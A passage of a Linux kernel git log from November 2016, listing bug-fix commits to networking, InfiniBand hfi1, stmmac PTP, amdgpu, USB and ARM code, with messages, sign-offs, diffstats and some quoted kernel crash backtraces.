__udp*_lib_mcast_deliver(), otherwise udplite broadcast/multicast use the wrong table and it breaks. Fixes: 2dc41cff7545 ("udp: Use hash2 for long hash1 chains in __udp*_lib_mcast_deliver.") Signed-off-by: Pablo Neira Ayuso Acked-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/udp.c | 6 +++--- net/ipv6/udp.c | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) commit d0e3f65b34c528ec2b7d1ba9a620b483f71788d3 Author: Alexander Kochetkov Date: Mon Nov 14 16:32:53 2016 +0300 net: arc_emac: don't pass multicast packets to kernel in non-multicast mode The patch disable capturing multicast packets when multicast mode disabled for ethernet ('ifconfig eth0 -multicast'). In that case no multicast packet will be passed to kernel. Signed-off-by: Alexander Kochetkov Signed-off-by: David S. Miller drivers/net/ethernet/arc/emac_main.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit c7a4e3d8c0d43a4f31f8b2ccf476e5a26eb85142 Author: Alexander Kochetkov Date: Mon Nov 14 16:32:52 2016 +0300 net: arc_emac: annonce IFF_MULTICAST support Multicast support was implemented by commit 775dd682e2b0ec7 ('arc_emac: implement promiscuous mode and multicast filtering'). It can be enabled explicity using 'ifconfig eth0 multicast'. The patch is needed in order to remove explicit configuration as most devices has multicast mode enabled by default. Signed-off-by: Alexander Kochetkov Signed-off-by: David S. Miller drivers/net/ethernet/arc/emac_main.c | 2 -- 1 file changed, 2 deletions(-) commit 744dfcb1d91499b6aec509d27a88b2821be22998 Merge: 24803f3 ee112c1 Author: David S. Miller Date: Tue Nov 15 19:56:18 2016 -0500 Merge branch 'stmmac-ptp' Giuseppe Cavallaro says: ==================== stmmac: fix PTP support This subset of patches aim to fix the PTP support for the stmmac and especially for 4.x chip series. While setting PTP on an ST box with 4.00a Ethernet core, the kernel panics due to a broken settings of the descriptors. The patches review the register configuration, the algo used for configuring the protocol, the way to get the timestamp inside the RX/TX descriptors and, in the end, the statistics displayed by ethtool. V2: RESEND all the patches adding the Acked-by. ==================== Signed-off-by: David S. Miller commit ee112c12ebd22baca85812175008ef584250e415 Author: Giuseppe CAVALLARO Date: Mon Nov 14 09:27:30 2016 +0100 stmmac: fix PTP type ethtool stats This patch fixes the ethtool stats for PTP frames; previous version does not take care about some message types: i.e. announce, management and signaling. It also provided a broken statistic in case of "No PTP message received". Signed-off-by: Giuseppe Cavallaro Acked-by: Rayagond Kokatanur Acked-by: Alexandre TORGUE Acked-by: Richard Cochran Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/common.h | 19 ++++++++------- drivers/net/ethernet/stmicro/stmmac/descs.h | 20 +++++++++------- drivers/net/ethernet/stmicro/stmmac/dwmac4_descs.c | 27 +++++++++++++-------- drivers/net/ethernet/stmicro/stmmac/enh_desc.c | 28 ++++++++++++++-------- .../net/ethernet/stmicro/stmmac/stmmac_ethtool.c | 19 ++++++++------- 5 files changed, 69 insertions(+), 44 deletions(-) commit ba1ffd74df74a9efa5290f87632a0ed55f1aa387 Author: Giuseppe CAVALLARO Date: Mon Nov 14 09:27:29 2016 +0100 stmmac: fix PTP support for GMAC4 Due to bad management of the descriptors, when use ptp4l, kernel panics as shown below: ----------------------------------------------------------- Unable to handle kernel NULL pointer dereference at virtual address 000001ac ... Internal error: Oops: 17 [#1] SMP ARM ... Hardware name: STi SoC with Flattened Device Tree task: c0c05e80 task.stack: c0c00000 PC is at dwmac4_wrback_get_tx_timestamp_status+0x0/0xc LR is at stmmac_tx_clean+0x2f8/0x4d4 ----------------------------------------------------------- In case of GMAC4 the extended descriptor pointers were used for getting the timestamp. These are NULL for this HW, and the normal ones must be used. The PTP also had problems on this chip due to the bad register management and issues on the algo adopted to setup the PTP and getting the timestamp values from the descriptors. Signed-off-by: Giuseppe Cavallaro Acked-by: Rayagond Kokatanur Acked-by: Alexandre TORGUE Acked-by: Richard Cochran Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/common.h | 5 +- drivers/net/ethernet/stmicro/stmmac/dwmac4_descs.c | 68 ++++++++++++--- drivers/net/ethernet/stmicro/stmmac/dwmac4_descs.h | 4 + drivers/net/ethernet/stmicro/stmmac/stmmac.h | 1 + .../net/ethernet/stmicro/stmmac/stmmac_hwtstamp.c | 43 ++++++++-- drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 97 +++++++++++----------- drivers/net/ethernet/stmicro/stmmac/stmmac_ptp.c | 9 +- 7 files changed, 154 insertions(+), 73 deletions(-) commit d2042052a0aa6a54f01a0c9e14243ec040b100e2 Author: Giuseppe CAVALLARO Date: Mon Nov 14 09:27:28 2016 +0100 stmmac: update the PTP header file This patch is to update this file by using BIT macros, removing not used defines and fixes some typos. Signed-off-by: Giuseppe Cavallaro Acked-by: Rayagond Kokatanur Acked-by: Alexandre TORGUE Acked-by: Richard Cochran Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_ptp.h | 72 ++++++++++++------------ 1 file changed, 37 insertions(+), 35 deletions(-) commit 24803f38a5c0b6c57ed800b47e695f9ce474bc3a Author: Hangbin Liu Date: Mon Nov 14 16:16:28 2016 +0800 igmp: do not remove igmp souce list info when set link down In commit 24cf3af3fed5 ("igmp: call ip_mc_clear_src..."), we forgot to remove igmpv3_clear_delrec() in ip_mc_down(), which also called ip_mc_clear_src(). This make us clear all IGMPv3 source filter info after NETDEV_DOWN. Move igmpv3_clear_delrec() to ip_mc_destroy_dev() and then no need ip_mc_clear_src() in ip_mc_destroy_dev(). On the other hand, we should restore back instead of free all source filter info in igmpv3_del_delrec(). Or we will not able to restore IGMPv3 source filter info after NETDEV_UP and NETDEV_POST_TYPE_CHANGE. Fixes: 24cf3af3fed5 ("igmp: call ip_mc_clear_src() only when ...") Signed-off-by: Hangbin Liu Signed-off-by: David S. Miller net/ipv4/igmp.c | 50 ++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 36 insertions(+), 14 deletions(-) commit 94ea29b116652b8b08934493fae68a6b83e2bc45 Merge: e238453 4db069a Author: Dave Airlie Date: Wed Nov 16 09:41:08 2016 +1000 Merge tag 'sunxi-drm-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into drm-fixes sun4i-drm fixes for 4.9 A few patches to fix our error handling and our panel / bridge calls. * tag 'sunxi-drm-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: drm/sun4i: Propagate error to the caller drm/sun4i: Fix error handling drm/sun4i: rgb: Remove the bridge enable/disable functions drm/sun4i: rgb: Enable panel after controller commit 2b16056f845207967a32497f41cf92b57849f934 Author: Dennis Dalessandro Date: Tue Oct 25 13:12:46 2016 -0700 IB/hfi1: Remove incorrect IS_ERR check Remove IS_ERR check from caching code as the function being called does not actually return error pointers. Fixes: f19bd643dbde: "IB/hfi1: Prevent NULL pointer deferences in caching code" Reported-by: Dan Carpenter Reviewed-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/user_sdma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 09a7908b1ba616eed349d49058ee909907ee0885 Author: Jianxin Xiong Date: Tue Oct 25 13:12:40 2016 -0700 IB/hfi1: Prevent hardware counter names from being cut off Increase the size of the buffer that is used to construct per-VL and per-SDMA counter names. Reviewed-by: Dennis Dalessandro Signed-off-by: Jianxin Xiong Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f2d8a0b367e735ab157222ce74a5f2481216c878 Author: Dasaratharaman Chandramouli Date: Tue Oct 25 13:12:23 2016 -0700 IB/hfi1: Fix ECN processing in prescan_rxq When processing ECN via the prescan_rxq path, some fields in the packet structure are passed uninitialized. This can potentially cause NULL pointer exceptions during ECN handling. Reviewed-by: Ira Weiny Reviewed-by: Dennis Dalessandro Signed-off-by: Dasaratharaman Chandramouli Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/driver.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit 505efe3e46d5eaab726295cd023fb86d5b789d00 Author: Jakub Pawlak Date: Tue Oct 25 13:12:17 2016 -0700 IB/hfi1: Fix status error code for unsupported packets Set the status code BAD_L2 when unsupported type of packet is received and dropped. Reviewed-by: Dennis Dalessandro Signed-off-by: Jakub Pawlak Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.h | 3 +++ drivers/infiniband/hw/hfi1/driver.c | 17 +++++++++++++++-- 2 files changed, 18 insertions(+), 2 deletions(-) commit 11501ab9df687c6f0852719a5165e16cd3eb3c10 Author: Krzysztof Blaszkowski Date: Tue Oct 25 13:12:11 2016 -0700 IB/hfi1: Relocate rcvhdrcnt module parameter check. Validate the rcvhdrcnt module parameter in a single function at module load time. This allows proper error reporting. Reviewed-by: Dean Luick Signed-off-by: Krzysztof Blaszkowski Signed-off-by: Tymoteusz Kielan Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/init.c | 44 +++++++++++++++++++++++---------------- 1 file changed, 26 insertions(+), 18 deletions(-) commit 458ed666fe14a54dfb6690a1a7f541782d1342c9 Author: Ira Weiny Date: Mon Oct 17 04:20:09 2016 -0700 IB/hfi1: Fix rnr_timer addition The new s_rnr_timeout was not properly being set and the code was incorrectly setting a different timer. Found by code inspection. Cc: # 4.7.x Fixes: 08279d5c9424 ("staging/rdma/hfi1: use new RNR timer") Reviewed-by: Mike Marciniszyn Signed-off-by: Ira Weiny Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/rc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f0f98f74c91c68502e97e0d5526aa4e81b40b28a Author: Easwar Hariharan Date: Mon Oct 17 04:20:04 2016 -0700 IB/hfi1: Delete unused lock The lock is an unused vestige from qib. Remove it. Reviewed-by: Mike Marciniszyn Signed-off-by: Easwar Hariharan Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/hfi.h | 2 -- drivers/infiniband/hw/hfi1/init.c | 1 - 2 files changed, 3 deletions(-) commit 26ea2544ddbe8855cb251e41ff3641c61655a15f Author: Easwar Hariharan Date: Mon Oct 17 04:19:58 2016 -0700 IB/hfi1: Clean up unused argument hfi1_pcie_ddinit takes the PCI device id as an argument but never uses it. Clean it up. Reviewed-by: Dennis Dalessandro Signed-off-by: Easwar Hariharan Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 2 +- drivers/infiniband/hw/hfi1/hfi.h | 3 +-- drivers/infiniband/hw/hfi1/pcie.c | 3 +-- 3 files changed, 3 insertions(+), 5 deletions(-) commit eacc830f95c0d8c5cbbda1bdba2ddc8f14bc248d Author: Dennis Dalessandro Date: Mon Oct 17 04:19:52 2016 -0700 IB/hfi1: Remove leftover snoop references A few snoop related variables were missed in the snoop/capture removal to get out of staging. Go back and clean those up too. Reviewed-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 18 ++--------- drivers/infiniband/hw/hfi1/hfi.h | 40 ++--------------------- drivers/infiniband/hw/hfi1/trace_rx.h | 60 ----------------------------------- 3 files changed, 4 insertions(+), 114 deletions(-) commit 4dfe7cceb2bfd98783b4966d7c881a7552932d31 Author: Jianxin Xiong Date: Mon Oct 17 04:19:41 2016 -0700 IB/hfi1: Fix a potential memory leak in hfi1_create_ctxts() In the function hfi1_create_ctxts the array "dd->rcd" is allocated and then populated with allocated resources in a loop. Previously, if error happened during the loop, only resource allocated in the current iteration would be freed. The array itself would then be freed, leaving the resources that were allocated in previous iterations and referenced by the array elements in limbo. This patch makes sure all allocated resources are freed before freeing the array "dd->rcd". Also the resource allocation now takes account of the numa node the device is attached to. Reviewed-by: Tadeusz Struk Signed-off-by: Jianxin Xiong Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/init.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 83fb4af6800deb4f3d19b297df6148cda5c016de Author: Krzysztof Blaszkowski Date: Mon Oct 17 04:19:24 2016 -0700 IB/hfi1: Return ENODEV for unsupported PCI device ids. Clean up device type checking. Reviewed-by: Dean Luick Signed-off-by: Krzysztof Blaszkowski Signed-off-by: Tymoteusz Kielan Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/init.c | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit acd7c8fe14938a315f0ac1b92a92375f7226c2fd Author: Tadeusz Struk Date: Tue Oct 25 08:57:55 2016 -0700 IB/hfi1: Fix an Oops on pci device force remove This patch fixes an Oops on device unbind, when the device is used by a PSM user process. PSM processes access device resources which are freed on device removal. Similar protection exists in uverbs in ib_core for Verbs clients, but PSM doesn't use ib_uverbs hence a separate protection is required for PSM clients. Cc: Jason Gunthorpe Reviewed-by: Ira Weiny Reviewed-by: Dean Luick Reviewed-by: Dennis Dalessandro Signed-off-by: Tadeusz Struk Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 5 +++++ drivers/infiniband/hw/hfi1/file_ops.c | 19 ++++++++++++++++--- drivers/infiniband/hw/hfi1/hfi.h | 4 ++++ drivers/infiniband/hw/hfi1/init.c | 21 +++++++++++++++++++-- 4 files changed, 44 insertions(+), 5 deletions(-) commit d9ac4555fb2bcd6b794aaa0b39acad81111d9f42 Author: Jakub Pawlak Date: Mon Oct 10 06:14:56 2016 -0700 IB/hfi1: Fix integrity check flags default values Prevent setting up integrity check flags when module is loaded with NO_INTEGRITY capability. Reviewed-by: Dean Luick Signed-off-by: Jakub Pawlak Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/hfi.h | 40 ++++++++++++++++++++++++++------------- drivers/infiniband/hw/hfi1/pio.c | 13 +++---------- drivers/infiniband/hw/hfi1/sdma.c | 19 ++----------------- 3 files changed, 32 insertions(+), 40 deletions(-) commit 39eb2795f19233330bc14a8450b4042d784b15a7 Author: Tadeusz Struk Date: Mon Oct 10 06:14:50 2016 -0700 IB/hfi1: Remove redundant sysfs irq affinity entry The IRQ affinity entry is not needed after the irq notifier patch has been added to the hfi1 driver. The irq affinity settings for SDMA engine should be set using the standard /proc/irq// interface. Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/affinity.c | 72 ----------------------------------- drivers/infiniband/hw/hfi1/affinity.h | 4 -- drivers/infiniband/hw/hfi1/sysfs.c | 25 ------------ 3 files changed, 101 deletions(-) commit e1fafdcbe0e3e769c6a83317dd845bc99b4fe61d Author: Dennis Dalessandro Date: Mon Oct 10 06:14:45 2016 -0700 IB/rdmavt: rdmavt can handle non aligned page maps The initial code for rdmavt carried with it a restriction that was a vestige from the qib driver, that to dma map a page it had to be less than a page size. This is not the case on modern hardware, both qib and hfi1 will be just fine with unaligned map requests. This fixes a 4.8 regression where by an IPoIB transfer of > PAGE_SIZE will hang because the dma map page call always fails. This was introduced after commit 5faba5469522 ("IB/ipoib: Report SG feature regardless of HW UD CSUM capability") added the capability to use SG by default. Rather than override this, the HW supports it, so allow SG. Cc: Stable # 4.8 Reviewed-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/sw/rdmavt/dma.c | 3 --- 1 file changed, 3 deletions(-) commit 1da2c326e43b0834105993d13610647337bbad67 Author: Monk Liu Date: Fri Nov 11 11:24:29 2016 +0800 drm/amdgpu:fix vpost_needed routine 1,cleanup description/comments 2,for FIJI & passthrough, force post when smc fw version below 22.15 3,for other cases, follow regular rules Signed-off-by: Monk Liu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 27 +++++++-------------------- 1 file changed, 7 insertions(+), 20 deletions(-) commit cb434658a8ff151c221a9ac1d44fb6788100cd0d Author: Alex Deucher Date: Tue Nov 15 11:39:08 2016 -0500 drm/amdgpu/powerplay: drop a redundant NULL check Left over from an earlier rev of the patch. Acked-by: Colin Ian King Cc: Dan Carpenter Cc: Colin King Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 2 -- 1 file changed, 2 deletions(-) commit a5d906bb261cde5f881a949d3b0fbaa285dcc574 Author: Peter Chen Date: Tue Nov 15 18:05:33 2016 +0800 usb: chipidea: move the lock initialization to core file This can fix below dump when the lock is accessed at host mode due to it is not initialized. [ 46.119638] INFO: trying to register non-static key. [ 46.124643] the code is fine but needs lockdep annotation. [ 46.130144] turning off the locking correctness validator. [ 46.135659] CPU: 0 PID: 690 Comm: cat Not tainted 4.9.0-rc3-00079-g4b75f1d #1210 [ 46.143075] Hardware name: Freescale i.MX6 SoloX (Device Tree) [ 46.148923] Backtrace: [ 46.151448] [] (dump_backtrace) from [] (show_stack+0x18/0x1c) [ 46.159038] r7:edf52000 [ 46.161412] r6:60000193 [ 46.163967] r5:00000000 [ 46.165035] r4:c0e25c2c [ 46.169109] [] (show_stack) from [] (dump_stack+0xb4/0xe8) [ 46.176362] [] (dump_stack) from [] (register_lock_class+0x4fc/0x56c) [ 46.184554] r10:c0e25d24 [ 46.187014] r9:edf53e70 [ 46.189569] r8:c1642444 [ 46.190637] r7:ee9da024 [ 46.193191] r6:00000000 [ 46.194258] r5:00000000 [ 46.196812] r4:00000000 [ 46.199185] r3:00000001 [ 46.203259] [] (register_lock_class) from [] (__lock_acquire+0x80/0x10f0) [ 46.211797] r10:c0e25d24 [ 46.214257] r9:edf53e70 [ 46.216813] r8:ee9da024 [ 46.217880] r7:c1642444 [ 46.220435] r6:edcd1800 [ 46.221502] r5:60000193 [ 46.224057] r4:00000000 [ 46.227953] [] (__lock_acquire) from [] (lock_acquire+0x74/0x94) [ 46.235710] r10:00000001 [ 46.238169] r9:edf53e70 [ 46.240723] r8:edf53f80 [ 46.241790] r7:00000001 [ 46.244344] r6:00000001 [ 46.245412] r5:60000193 [ 46.247966] r4:00000000 [ 46.251866] [] (lock_acquire) from [] (_raw_spin_lock_irqsave+0x40/0x54) [ 46.260319] r7:ee1c6a00 [ 46.262691] r6:c062a570 [ 46.265247] r5:20000113 [ 46.266314] r4:ee9da014 [ 46.270393] [] (_raw_spin_lock_irqsave) from [] (ci_port_test_show+0x2c/0x70) [ 46.279280] r6:eebd2000 [ 46.281652] r5:ee9da010 [ 46.284207] r4:ee9da014 [ 46.286810] [] (ci_port_test_show) from [] (seq_read+0x1ac/0x4f8) [ 46.294655] r9:edf53e70 [ 46.297028] r8:edf53f80 [ 46.299583] r7:ee1c6a00 [ 46.300650] r6:00000001 [ 46.303205] r5:00000000 [ 46.304273] r4:eebd2000 [ 46.306850] [] (seq_read) from [] (full_proxy_read+0x54/0x6c) [ 46.314348] r10:00000000 [ 46.316808] r9:c0a6ad30 [ 46.319363] r8:edf53f80 [ 46.320430] r7:00020000 [ 46.322986] r6:b6de3000 [ 46.324053] r5:ee1c6a00 [ 46.326607] r4:c0248b58 [ 46.330505] [] (full_proxy_read) from [] (__vfs_read+0x34/0x118) [ 46.338262] r9:edf52000 [ 46.340635] r8:c0107fc4 [ 46.343190] r7:00020000 [ 46.344257] r6:edf53f80 [ 46.346812] r5:c039e810 [ 46.347879] r4:ee1c6a00 [ 46.350447] [] (__vfs_read) from [] (vfs_read+0x8c/0x11c) [ 46.357597] r9:edf52000 [ 46.359969] r8:c0107fc4 [ 46.362524] r7:edf53f80 [ 46.363592] r6:b6de3000 [ 46.366147] r5:ee1c6a00 [ 46.367214] r4:00020000 [ 46.369782] [] (vfs_read) from [] (SyS_read+0x4c/0xa8) [ 46.376672] r8:c0107fc4 [ 46.379045] r7:00020000 [ 46.381600] r6:b6de3000 [ 46.382667] r5:ee1c6a00 [ 46.385222] r4:ee1c6a00 [ 46.387817] [] (SyS_read) from [] (ret_fast_syscall+0x0/0x1c) [ 46.395314] r7:00000003 [ 46.397687] r6:b6de3000 [ 46.400243] r5:00020000 [ 46.401310] r4:00020000 Cc: Fixes: 26c696c678c4 ("USB: Chipidea: rename struct ci13xxx variables from udc to ci") Signed-off-by: Peter Chen Signed-off-by: Greg Kroah-Hartman drivers/usb/chipidea/core.c | 1 + drivers/usb/chipidea/udc.c | 2 -- 2 files changed, 1 insertion(+), 2 deletions(-) commit f6c365fad1034c66f9969d1435ffad9102f966bb Author: Jia Jie Ho Date: Mon Nov 14 17:06:49 2016 +0800 net: ethernet: Fix SGMII unable to switch speed and autonego failure TSE PCS SGMII ethernet has an issue where switching speed doesn't work caused by a faulty register macro offset. This fixes the issue. Signed-off-by: Jia Jie Ho Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/altr_tse_pcs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 81bcfe5e48f9b8c42cf547f1c74c7f60c44c34c8 Merge: 80fc2f7 546fece Author: Linus Torvalds Date: Tue Nov 15 08:49:13 2016 -0800 Merge tag 'trace-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace Pull tracing fixes from Steven Rostedt: "Alexei discovered a race condition in modules failing to load that can cause a ftrace check to trigger and disable ftrace. This is because of the way modules are registered to ftrace. Their functions are loaded in the ftrace function tables but set to "disabled" since they are still in the process of being loaded by the module. After the module is finished, it calls back into the ftrace infrastructure to enable it. Looking deeper into the locations that access all the functions in the table, I found more locations that should ignore the disabled ones" * tag 'trace-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace: ftrace: Add more checks for FTRACE_FL_DISABLED in processing ip records ftrace: Ignore FTRACE_FL_DISABLED while walking dyn_ftrace records commit 80fc2f7fd8dece7bfa9b5b5dafb8705bbcefa6b4 Merge: e76d21c cfbd950 Author: Linus Torvalds Date: Tue Nov 15 08:28:59 2016 -0800 Merge tag 'fbdev-fixes-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tomba/linux Pull fbdev fix from Tomi Valkeinen: "Fix CLCD regression on Vexpress" * tag 'fbdev-fixes-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tomba/linux: video: ARM CLCD: fix Vexpress regression commit c6a385539175ebc603da53aafb7753d39089f32e Author: Borislav Petkov Date: Mon Nov 14 19:41:31 2016 +0100 kbuild: Steal gcc's pie from the very beginning So Sebastian turned off the PIE for kernel builds but that was too late - Kbuild.include already uses KBUILD_CFLAGS and trying to disable gcc options with, say cc-disable-warning, fails: gcc -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs ... -Wno-sign-compare -fno-asynchronous-unwind-tables -Wframe-address -c -x c /dev/null -o .31392.tmp /dev/null:1:0: error: code model kernel does not support PIC mode because that returns an error and we can't disable the warning. For example in this case: KBUILD_CFLAGS += $(call cc-disable-warning,frame-address,) which leads to gcc issuing all those warnings again. So let's turn off PIE/PIC at the earliest possible moment, when we declare KBUILD_CFLAGS so that cc-disable-warning picks it up too. Also, we need the $(call cc-option ...) because -fno-PIE is supported since gcc v3.4 and our lowest supported gcc version is 3.2 right now. Signed-off-by: Borislav Petkov Cc: stable@vger.kernel.org Cc: Ben Hutchings Cc: Sebastian Andrzej Siewior Signed-off-by: Michal Marek Makefile | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 256ff1cf6b44cba9c9c2059f4516259e9319a808 Author: Marek Szyprowski Date: Tue Nov 15 14:00:53 2016 +0100 ARM: 8628/1: dma-mapping: preallocate DMA-debug hash tables in core_initcall fs_initcall is definitely too late to initialize DMA-debug hash tables, because some drivers might get probed and use DMA mapping framework already in core_initcall. Late initialization of DMA-debug results in false warning about accessing memory, that was not allocated, like this one: ------------[ cut here ]------------ WARNING: CPU: 5 PID: 1 at lib/dma-debug.c:1104 check_unmap+0xa1c/0xe50 exynos-sysmmu 10a60000.sysmmu: DMA-API: device driver tries to free DMA memory it has not allocated [device address=0x000000006ebd0000] [size=16384 bytes] Modules linked in: CPU: 5 PID: 1 Comm: swapper/0 Not tainted 4.9.0-rc5-00028-g39dde3d-dirty #44 Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) [] (unwind_backtrace) from [] (show_stack+0x20/0x24) [] (show_stack) from [] (dump_stack+0x84/0xa0) [] (dump_stack) from [] (__warn+0x14c/0x180) [] (__warn) from [] (warn_slowpath_fmt+0x48/0x50) [] (warn_slowpath_fmt) from [] (check_unmap+0xa1c/0xe50) [] (check_unmap) from [] (debug_dma_unmap_page+0x98/0xc8) [] (debug_dma_unmap_page) from [] (exynos_iommu_domain_free+0x158/0x380) [] (exynos_iommu_domain_free) from [] (iommu_domain_free+0x34/0x60) [] (iommu_domain_free) from [] (release_iommu_mapping+0x30/0xb8) [] (release_iommu_mapping) from [] (arm_iommu_release_mapping+0x4c/0x50) [] (arm_iommu_release_mapping) from [] (s5p_mfc_probe+0x640/0x80c) [] (s5p_mfc_probe) from [] (platform_drv_probe+0x70/0x148) [] (platform_drv_probe) from [] (driver_probe_device+0x12c/0x6b0) [] (driver_probe_device) from [] (__driver_attach+0x128/0x17c) [] (__driver_attach) from [] (bus_for_each_dev+0x88/0xc8) [] (bus_for_each_dev) from [] (driver_attach+0x34/0x58) [] (driver_attach) from [] (bus_add_driver+0x18c/0x32c) [] (bus_add_driver) from [] (driver_register+0x98/0x148) [] (driver_register) from [] (__platform_driver_register+0x58/0x74) [] (__platform_driver_register) from [] (s5p_mfc_driver_init+0x1c/0x20) [] (s5p_mfc_driver_init) from [] (do_one_initcall+0x64/0x258) [] (do_one_initcall) from [] (kernel_init_freeable+0x3d0/0x4d0) [] (kernel_init_freeable) from [] (kernel_init+0x18/0x134) [] (kernel_init) from [] (ret_from_fork+0x14/0x3c) ---[ end trace dc54c54bd3581296 ]--- This patch moves initialization of DMA-debug to core_initcall. This is safe from the initialization perspective. dma_debug_do_init() internally calls debugfs functions and debugfs also gets initialised at core_initcall(), and that is earlier than arch code in the link order, so it will get initialized just before the DMA-debug. Reported-by: Seung-Woo Kim Signed-off-by: Marek Szyprowski Signed-off-by: Russell King arch/arm/mm/dma-mapping.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 544457fa278216c5fcea6a16e9b2ee8aadaca0ca Author: Nicolas Pitre Date: Tue Nov 1 21:58:36 2016 +0100 ARM: 8624/1: proc-v7m.S: fix init section name There is no .text.init sections. Signed-off-by: Nicolas Pitre Signed-off-by: Russell King arch/arm/mm/proc-v7m.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 24c66dfd569c4744fc43aea638155ad2dc1499d8 Author: Russell King Date: Tue Nov 15 13:55:59 2016 +0000 ARM: fix backtrace Recent kernels have changed their behaviour to be more inconsistent when handling printk continuations. With todays kernels, the output looks sane on the console, but dmesg splits individual printk()s which do not have the KERN_CONT prefix into separate lines. Since the assembly code is not trivial to add the KERN_CONT, and we ideally want to avoid using KERN_CONT (as multiple printk()s can race between different threads), convert the assembly dumping the register values to C code, and have the C code build the output a line at a time before dumping to the console. This avoids the KERN_CONT issue, and also avoids situations where the output is intermixed with other console activity. Signed-off-by: Russell King arch/arm/kernel/traps.c | 20 ++++++++++++++++++++ arch/arm/lib/backtrace.S | 37 +++---------------------------------- 2 files changed, 23 insertions(+), 34 deletions(-) commit 959401aa2b8cc6422809762a6ba4b2635154e9a6 Merge: e76d21c 14c862d Author: Jens Axboe Date: Tue Nov 15 07:51:41 2016 -0700 Merge branch 'nvmf-4.9-rc' of git://git.infradead.org/nvme-fabrics into for-linus Sagi writes: These are the relevant fixes for rc6 - fix possible crash in nvmet-rdma cm_handler from Bart - fix possible memory leak in nvmet-rdma for connection failures - fix possible use-after-free conditions in nvmet-rdma - fix possible IO errors during reconnect stage from Christoph - fix possible memory leak in nvme-rdma during IO queues connect failures from Steve commit 4fb7f8af1f4c14a2a6cee7c9ff0cf999d918c72d Author: Benjamin Beichler Date: Fri Nov 11 17:37:56 2016 +0100 mac80211_hwsim: fix beacon delta calculation Due to the cast from uint32_t to int64_t, a wrong next beacon timing is calculated and effectively the beacon timer stops working. This is especially bad for 802.11s mesh networks, because discovery breaks without beacons. Signed-off-by: Benjamin Beichler Signed-off-by: Johannes Berg drivers/net/wireless/mac80211_hwsim.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a786f96da0d657bf8bd56d8eebb3f31cc45605bb Author: Felix Fietkau Date: Fri Nov 4 10:27:54 2016 +0100 mac80211: fix A-MSDU aggregation with fast-xmit + txq A-MSDU aggregation alters the QoS header after a frame has been enqueued, so it needs to be ready before enqueue and not overwritten again afterwards Fixes: bb42f2d13ffc ("mac80211: Move reorder-sensitive TX handlers to after TXQ dequeue") Signed-off-by: Felix Fietkau Acked-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/tx.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit fff712cbe38b6d4e211df9c22aabcfd9739c1c2a Author: Felix Fietkau Date: Fri Nov 4 10:27:53 2016 +0100 mac80211: remove bogus skb vif assignment The call to ieee80211_txq_enqueue overwrites the vif pointer with the codel enqueue time, so setting it just before that call makes no sense. Signed-off-by: Felix Fietkau Acked-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/tx.c | 3 --- 1 file changed, 3 deletions(-) commit c1f4c9ede3c799da9f920c1df9ce524145781637 Author: Felix Fietkau Date: Fri Nov 4 